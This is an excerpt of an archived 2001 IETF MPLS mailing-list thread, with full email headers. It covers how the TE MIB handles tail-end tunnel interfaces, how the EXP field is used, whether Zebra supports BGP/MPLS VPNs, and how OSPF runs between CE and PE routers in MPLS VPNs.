Message-Id: <4.3.2.7.2.20011030102157.01b90fd0@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 30 Oct 2001 10:37:58 -0500
To: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Cc: "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <313680C9A886D511A06000204840E1CF4B84D3@whq-msgusr-02.pit.c
 omms.marconi.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_2655137==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_2655137==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>>I think you misunderstood, the actual value of the ifIndex is of no 
>>consequence,
>>you just have to have a corresponding interface at the other end.
>         Okay, so what is the problem then? 8)
>
>The problem is that the TE MIB does not provide *complete* configuration 
>support for setting up of a "corresponding" tail-end tunnel interface.

         What you don't find in there today is an example of how to do 
this, but it certainly
does allow for this type of configuration (see below).
>On the head-end it provides all of the required configuration parameters 
>(isIf, name) and on the tail-end it provides some (isIf, name) but not all 
>(you would at least need the head-end tunnel index to be specified at the 
>tail-end).
>Let me try the question again in case my earlier questions were not clear.
>If I create a tunnel  interface on a head-end router and would like to 
>create a corresponding tail-end tunnel interface on the tail-end router, 
>how do I do this using the TE MIB.

         Your implementation should keep some sort of RSVP-TE record at the
tail end of the router. Your MPLS-TE-MIB agent can then use this information
to create a tunnel entry for it. The agent can then assign an ifIndex to 
this entry.
The indexes will be the same as at the head end, so your NMS can
correlate them that way. You can optionally allow the operator to assign
the ifIndex. Note that the operator could also do this at the head as well.
>I would like to see a complete solution using just the TE MIB
>(because it attempts to solve the problem on the head-end),

         This is not the case. The MIB allows for the configuration of the 
head, midpoints
and tail -- wherever your implementation supports it.
>if this is not possible then what other MIB tables should I use and how?. 
>I can easily come up with some proprietary scheme to do this but I would 
>like to see some "standard" usage guidelines.

         Well, to be honest with you, your implementation and one other are 
the only
ones that I have heard use this scheme of two ifIndexes for a tunnel. All 
of the
others I know of (about 30 or so), create a single configuration record at 
the head
end where a corresponding tunnelEntry is created. Most also bound an 
ifIndex to the
tunnelEntry at that time. Some optionally create entries at midpoints and 
the tail, but
without ifIndexes at either of these places.
>  Again, given that the TE MIB seems to be taking on the responsibility of 
> creating tunnel interfaces

         For reference, the MPLS TE MIB does NOT require that an ifIndex be 
assigned
anywhere.  The MIB assumes that the agent (or operator) creates the tunnel 
interface(s)
where necessary; the MIB cannot create anything per se. If you do create an 
entry and have
a corresponding ifIndex, then the tunnelIsIfIndex is used to indicate this. 
If you want to
assign an ifIndex at the tail, they go for it, but remember to turn this 
bit on so that operators
and NMS systems know that a corresponding Interfaces MIB entry exists and
can be examined.
>I would like a "standard" way of doing it on the tail-end to be documented 
>in the mpls-te-mib specification.

         The MIB shows examples of how it is commonly used. If you would 
like an additional
example at this point, I think that you just volunteered to write something 
up. 8)

         --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_2655137==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font face="arial" size=3></font><blockquote type=cite cite><blockquote type=cite cite>
<dl><font face="arial" size=2 color="#FF0000">
<dd>I think you misunderstood, the actual value of the ifIndex is of no
consequence, 
<dd>you just have to have a corresponding interface at the other
end.</font><font size=3> </blockquote>
<dd><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Okay,
so what is the problem then?
8)</font><font face="arial" size=2 color="#0000FF"> 
</font><font size=3>
<dd>&nbsp;</font><font face="arial" size=2 color="#0000FF">
<dd>The problem is that the TE MIB does not provide *complete*
configuration support for setting up of a &quot;corresponding&quot;
tail-end tunnel interface. </font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>What you
don't find in there today is an example of how to do this, but it
certainly<br>
does allow for this type of configuration (see below).<br>
<blockquote type=cite cite>
<dl><font face="arial" size=2 color="#0000FF">
<dd>On the head-end it provides all of the required configuration
parameters (isIf, name) and on the tail-end it provides some (isIf, name)
but not all (you would at least need the head-end tunnel index to be
specified at the
tail-end).</font><font size=3></font><font face="arial" size=2 color="#0000FF">
<dd>Let me try the question again in case my earlier questions were not
clear.</font><font size=3></font><font face="arial" size=2 color="#0000FF">
<dd>If I create a tunnel&nbsp; interface on a head-end router and would
like to create a corresponding tail-end tunnel interface on the tail-end
router, how do I do this using the TE MIB. </font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Your
implementation should keep some sort of RSVP-TE record at the<br>
tail end of the router. Your MPLS-TE-MIB agent can then use this
information<br>
to create a tunnel entry for it. The agent can then assign an ifIndex to
this entry.<br>
The indexes will be the same as at the head end, so your NMS can <br>
correlate them that way. You can optionally allow the operator to
assign<br>
the ifIndex. Note that the operator could also do this at the head as
well.<br>
<blockquote type=cite cite>
<dl><font face="arial" size=2 color="#0000FF">
<dd>I would like to see a complete solution using just the TE MIB 
<dd>(because it attempts to solve the problem on the head-end),
</font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>This is
not the case. The MIB allows for the configuration of the head, midpoints
<br>
and tail -- wherever your implementation supports it.<br>
<blockquote type=cite cite>
<dl><font face="arial" size=2 color="#0000FF">
<dd>if this is not possible then what other MIB tables should I use and
how?. I can easily come up with some proprietary scheme to do this but I
would like to see some &quot;standard&quot; usage
guidelines.</font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Well, to
be honest with you, your implementation and one other are the only<br>
ones that I have heard use this scheme of two ifIndexes for a tunnel. All
of the <br>
others I know of (about 30 or so), create a single configuration record
at the head<br>
end where a corresponding tunnelEntry is created. Most also bound an
ifIndex to the <br>
tunnelEntry at that time. Some optionally create entries at midpoints and
the tail, but <br>
without ifIndexes at either of these places.<br>
<blockquote type=cite cite>
<dl><font face="arial" size=2 color="#0000FF">
<dd>&nbsp;Again, given that the TE MIB seems to be taking on the
responsibility of creating tunnel interfaces </font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>For
reference, the MPLS TE MIB does NOT require that an ifIndex be assigned
<br>
anywhere.&nbsp; The MIB assumes that the agent (or operator) creates the
tunnel interface(s) <br>
where necessary; the MIB cannot create anything per se. If you do create
an entry and have<br>
a corresponding ifIndex, then the tunnelIsIfIndex is used to indicate
this. If you want to <br>
assign an ifIndex at the tail, they go for it, but remember to turn this
bit on so that operators<br>
and NMS systems know that a corresponding Interfaces MIB entry exists
and<br>
can be examined. <br>
<blockquote type=cite cite>
<dl><font face="arial" size=2 color="#0000FF">
<dd>I would like a &quot;standard&quot; way of doing it on the tail-end
to be documented in the mpls-te-mib specification.</font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>The MIB
shows examples of how it is commonly used. If you would like an
additional<br>
example at this point, I think that you just volunteered to write
something up. 8)<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_2655137==_.ALT--



From owner-mpls@UU.NET  Tue Oct 30 13:18:50 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09871
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 13:18:50 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzx23194;
	Tue, 30 Oct 2001 18:19:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzx00579
	for mpls-outgoing; Tue, 30 Oct 2001 18:18:27 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmzx00574
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 18:18:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzx05176
	for <mpls@UU.NET>; Tue, 30 Oct 2001 18:17:51 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmzx07165
	for <mpls@UU.NET>; Tue, 30 Oct 2001 18:18:10 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA20192;
	Tue, 30 Oct 2001 13:17:47 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA16091;
	Tue, 30 Oct 2001 13:17:47 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLJ4NK>; Tue, 30 Oct 2001 13:17:47 -0500
Message-ID: <313680C9A886D511A06000204840E1CF76B84D@whq-msgusr-02.pit.comms.marconi.com>
From: "Iren, Sami" <Sami.Iren@marconi.com>
To: "'Yousuf Hasan'" <yhasan@cisco.com>, pradeep n <nmnpradeep@yahoo.com>
Cc: mpls@UU.NET
Subject: RE: CoS (EXP) field
Date: Tue, 30 Oct 2001 13:17:44 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Pradeep:
This field is used by both E-LSPs and L-LSPs.
See draft-ietf-mpls-diff-ext-09.txt for more info.
--Sami

> -----Original Message-----
> From: Yousuf Hasan [mailto:yhasan@cisco.com]
> Sent: Tuesday, October 30, 2001 3:46 AM
> To: pradeep n
> Cc: mpls@UU.NET
> Subject: Re: CoS (EXP) field
> 
> 
> At 01:36 AM 10/30/2001 -0700, Yousuf Hasan wrote:
> >At 01:11 AM 10/30/2001 -0800, pradeep n wrote:
> >>CoS (EXP) field of Shim Header is considered as
> >>Expermental range, currently this field is being
> >>considered for QOS implementation.
> >
> >That's true, the EXP or CoS field is 3 bits & is normally 
> used to map IP precedence. And this would be E-LSPs which 
> means that the LSP's QOS is inferred from the EXP field
> 
> correction: the MPLS packet's QoS in this LSP is inferred 
> from the EXP field
> 
> 
> >Thanks
> >
> >-Yousuf
> >
> >
> >>Please elobrate on this matter. More information
> >>expected.
> >>
> >>Pradeep
> >>
> >>
> >>__________________________________________________
> >>Do You Yahoo!?
> >>Make a great connection at Yahoo! Personals.
> >>http://personals.yahoo.com 
> 


From owner-mpls@UU.NET  Tue Oct 30 17:04:37 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15784
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 17:04:37 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnam15407;
	Tue, 30 Oct 2001 22:04:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnam24578
	for mpls-outgoing; Tue, 30 Oct 2001 22:04:09 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlnam24553
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 22:03:51 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlnam28148
	for <mpls@uu.net>; Tue, 30 Oct 2001 22:02:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlnam10304
	for <mpls@uu.net>; Tue, 30 Oct 2001 22:01:52 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id RAA28536 for <mpls@uu.net>; Tue, 30 Oct 2001 17:02:02 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA06047 for mpls@uu.net; Tue, 30 Oct 2001 17:02:02 -0500 (EST)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlnam17826
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 22:00:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlnal07571
	for <mpls@UU.NET>; Tue, 30 Oct 2001 21:58:53 GMT
Received: from ce-nfs-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ce-nfs-1.cisco.com [171.68.227.69])
	id QQlnal03254
	for <mpls@UU.NET>; Tue, 30 Oct 2001 21:59:13 GMT
Received: from YHASAN-W2K5.cisco.com (sjck-dial-gw5-98.cisco.com [10.19.238.99])
	by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with ESMTP id NAA14675;
	Tue, 30 Oct 2001 13:58:17 -0800 (PST)
Message-Id: <4.3.2.7.2.20011030135625.02d25948@ce-nfs-1.cisco.com>
X-Sender: yhasan@ce-nfs-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 30 Oct 2001 13:58:09 -0700
To: "Iren, Sami" <Sami.Iren@marconi.com>
From: Yousuf Hasan <yhasan@cisco.com>
Subject: RE: CoS (EXP) field
Cc: pradeep n <nmnpradeep@yahoo.com>, mpls@UU.NET
In-Reply-To: <313680C9A886D511A06000204840E1CF76B84D@whq-msgusr-02.pit.c
 omms.marconi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

With L-LSPs the EXP field is used for determining the WRED Drop precedence of the packet
Thanks

-Yousuf


At 01:17 PM 10/30/2001 -0500, Iren, Sami wrote:
>Pradeep:
>This field is used by both E-LSPs and L-LSPs.
>See draft-ietf-mpls-diff-ext-09.txt for more info.
>--Sami
>
>> -----Original Message-----
>> From: Yousuf Hasan [mailto:yhasan@cisco.com]
>> Sent: Tuesday, October 30, 2001 3:46 AM
>> To: pradeep n
>> Cc: mpls@UU.NET
>> Subject: Re: CoS (EXP) field
>> 
>> 
>> At 01:36 AM 10/30/2001 -0700, Yousuf Hasan wrote:
>> >At 01:11 AM 10/30/2001 -0800, pradeep n wrote:
>> >>CoS (EXP) field of Shim Header is considered as
>> >>Expermental range, currently this field is being
>> >>considered for QOS implementation.
>> >
>> >That's true, the EXP or CoS field is 3 bits & is normally 
>> used to map IP precedence. And this would be E-LSPs which 
>> means that the LSP's QOS is inferred from the EXP field
>> 
>> correction: the MPLS packet's QoS in this LSP is inferred 
>> from the EXP field
>> 
>> 
>> >Thanks
>> >
>> >-Yousuf
>> >
>> >
>> >>Please elobrate on this matter. More information
>> >>expected.
>> >>
>> >>Pradeep
>> >>
>> >>
>> >>__________________________________________________
>> >>Do You Yahoo!?
>> >>Make a great connection at Yahoo! Personals.
>> >>http://personals.yahoo.com 
>> 



From owner-mpls@UU.NET  Tue Oct 30 19:52:06 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA17885
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 19:52:06 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnax11455;
	Wed, 31 Oct 2001 00:52:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnax22616
	for mpls-outgoing; Wed, 31 Oct 2001 00:51:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlnax22611
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 00:51:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlnax28387
	for <mpls@UU.NET>; Wed, 31 Oct 2001 00:50:30 GMT
Received: from smtp1.phx.gblx.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp1.phx.gblx.net [64.208.25.103])
	id QQlnax00486
	for <mpls@UU.NET>; Wed, 31 Oct 2001 00:50:50 GMT
Received: (from daemon@localhost)
	by smtp1.phx.gblx.net (8.11.2/8.11.2) id f9V0n8408522;
	Tue, 30 Oct 2001 17:49:08 -0700 (MST)
Received: from UNKNOWN(203.192.128.6), claiming to be "hiishii"
 via SMTP by smtp1, id smtpdAAAIMaqNq; Tue Oct 30 17:48:57 2001
Message-Id: <4.2.0.58.J.20011031094623.04809070@smtp.gblx.net>
X-Sender: hishii@203.192.133.70
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58.J 
Date: Wed, 31 Oct 2001 09:49:53 +0900
To: "Guru Pradeep Achutha" <aguru@sasken.com>, <zebra@zebra.org>
From: Hideo Ishii <hishii@gblx.net>
Subject: Re: BGP/MPLS VPNs
Cc: <mpls@UU.NET>
In-Reply-To: <001201c16108$ab48eb80$e542010a@sasken.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;	boundary="=====================_138651550==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_138651550==_.ALT
Content-Type: text/plain; charset="ISO-2022-JP"; format=flowed
Content-Transfer-Encoding: 7bit

Zebra was implemented BGP/MPLS-VPN feaure, as initial phase code.
But I am not sure that someone has been brushing up it since then.

Regards,
Hideo Ishii



At $B8aA0(B 11:34 01/10/30 +0530, Guru Pradeep Achutha wrote:
>Hi All,
>
>While browsing through the source code of zebra (in partcular bgp code) we 
>found references to MPLS/VPNs. Can someone please clarify if BGP/MPLS VPNs 
>as defined in RFC 2547 or Draft rfc2547bis has been implemented in zebra ?
>
>Thanks & Regards,
>
>-Guru


--=====================_138651550==_.ALT
Content-Type: text/html; charset="ISO-2022-JP"
Content-Transfer-Encoding: 7bit

<html>
Zebra was implemented BGP/MPLS-VPN feaure, as initial phase code.<br>
But I am not sure that someone has been brushing up it since then.<br>
<br>
Regards,<br>
Hideo Ishii<br>
<br>
<br>
<br>
At $B8aA0(B 11:34 01/10/30 +0530, Guru Pradeep Achutha wrote:<br>
<font face="arial" size=2><blockquote type=cite cite>Hi All,</font><br>
&nbsp;<br>
<font face="arial" size=2>While browsing through the source code of zebra
(in partcular bgp code) we found references to MPLS/VPNs. Can someone
please clarify if BGP/MPLS VPNs as defined in RFC 2547 or Draft
rfc2547bis has been implemented in zebra ?</font><br>
&nbsp;<br>
<font face="arial" size=2>Thanks &amp; Regards,</font><br>
&nbsp;<br>
<font face="arial" size=2>-Guru</font></blockquote><br>
</html>

--=====================_138651550==_.ALT--



From owner-mpls@UU.NET  Tue Oct 30 20:07:51 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18084
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 20:07:51 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnay11049;
	Wed, 31 Oct 2001 01:08:12 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnay12568
	for mpls-outgoing; Wed, 31 Oct 2001 01:07:28 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlnay12563
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 01:07:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlnay22536
	for <mpls@uu.net>; Wed, 31 Oct 2001 01:07:02 GMT
Received: from smtp015.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp015.mail.yahoo.com [216.136.173.59])
	id QQlnay09666
	for <mpls@uu.net>; Wed, 31 Oct 2001 01:07:22 GMT
Received: from unknown (HELO c123294a) (38.169.12.100)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 31 Oct 2001 01:07:01 -0000
X-Apparently-From: <zengjing?sec@yahoo.com>
From: "Jing Zeng" <zengjing_sec@yahoo.com>
To: <mpls@UU.NET>
Subject: CE to PE OSPF within MPLS/BGP VPN
Date: Mon, 29 Oct 2001 11:52:28 -0800
Message-ID: <CHELIGMMAPGLPNEMDBLDAEBGCBAA.zengjing_sec@yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

I have a question about CE to PE ospf within MPLS/BGP VPN:
Suppose the routers connected as following:
CE1--PE1--PE2--CE2.
The link between CE1 and PE1 using OSPF, and belong to area 0. The link
between PE2 and CE2 using ospf and belong to area 1.
(there is a interface inside CE2 belong to ospf area 0)
How to transport the routes between PE1 and PE2? Is any RFC or Draft to
address this issue?

Jing


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com



From owner-mpls@UU.NET  Tue Oct 30 23:02:14 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA21568
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 23:02:14 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnbk03665;
	Wed, 31 Oct 2001 04:02:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnbk08426
	for mpls-outgoing; Wed, 31 Oct 2001 04:01:57 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlnbk08392
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 04:01:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlnbk28247
	for <mpls@uu.net>; Wed, 31 Oct 2001 04:01:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlnbk01899
	for <mpls@uu.net>; Wed, 31 Oct 2001 04:01:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id XAA23890 for <mpls@uu.net>; Tue, 30 Oct 2001 23:01:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id XAA21008 for mpls@uu.net; Tue, 30 Oct 2001 23:01:01 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlnbk06859
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 04:00:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlnbj08457
	for <mpls@UU.NET>; Wed, 31 Oct 2001 03:58:58 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQlnbj07721
	for <mpls@UU.NET>; Wed, 31 Oct 2001 03:58:47 GMT
Received: from aakhter-u5.cisco.com (aakhter-u5.cisco.com [64.102.38.12])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f9V3x2921109;
	Tue, 30 Oct 2001 19:59:02 -0800 (PST)
Received: (aakhter@localhost) by aakhter-u5.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id WAA27658; Tue, 30 Oct 2001 22:58:56 -0500 (EST)
Date: Tue, 30 Oct 2001 22:58:56 -0500
From: Aamer Akhter <aakhter@cisco.com>
To: Jing Zeng <zengjing_sec@yahoo.com>
Cc: mpls@UU.NET
Subject: Re: CE to PE OSPF within MPLS/BGP VPN
Message-ID: <20011030225856.A27654@aakhter-u5.cisco.com>
References: <CHELIGMMAPGLPNEMDBLDAEBGCBAA.zengjing_sec@yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.4i
In-Reply-To: <CHELIGMMAPGLPNEMDBLDAEBGCBAA.zengjing_sec@yahoo.com>; from zengjing_sec@yahoo.com on Mon, Oct 29, 2001 at 11:52:28AM -0800
Sender: owner-mpls@UU.NET
Precedence: bulk

Jing,

I'm assuming you're talking about ospf data being caried across bgp as in:

http://search.ietf.org/internet-drafts/draft-rosen-vpns-ospf-bgp-mpls-02.txt


The PE's by defenition are in Area 0. Area 0 needs to be contigious. You'll need to have a virtual link between PE2 
and CE2

hope this helps

Quoting Jing Zeng (zengjing_sec@yahoo.com):
> I have a question about CE to PE ospf within MPLS/BGP VPN:
> Suppose the routers connected as following:
> CE1--PE1--PE2--CE2.
> The link between CE1 and PE1 using OSPF, and belong to area 0. The link
> between PE2 and CE2 using ospf and belong to area 1.
> (there is a interface inside CE2 belong to ospf area 0)
> How to transport the routes between PE1 and PE2? Is any RFC or Draft to
> address this issue?
> 
> Jing
> 
> 
> _________________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.com address at http://mail.yahoo.com
> 

-- 
Aamer Akhter / aa@cisco.com
NSITE - cisco Systems



From owner-mpls@UU.NET  Wed Oct 31 02:30:40 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA08407
	for <mpls-archive@lists.ietf.org>; Wed, 31 Oct 2001 02:30:40 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlnby29310;
	Wed, 31 Oct 2001 07:31:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlnby00358
	for mpls-outgoing; Wed, 31 Oct 2001 07:30:19 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlnby00353
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 07:30:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlnbx19815
	for <mpls@uu.net>; Wed, 31 Oct 2001 07:28:27 GMT
Received: from mail49.fg.online.no by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail49-s.fg.online.no [148.122.161.49])
	id QQlnbx26008
	for <mpls@uu.net>; Wed, 31 Oct 2001 07:28:46 GMT
Received: from wm-java1.fg.online.no (wm-java1-s.fg.online.no [148.122.161.98])
	by mail49.fg.online.no (8.9.3/8.9.3) with SMTP id IAA04392
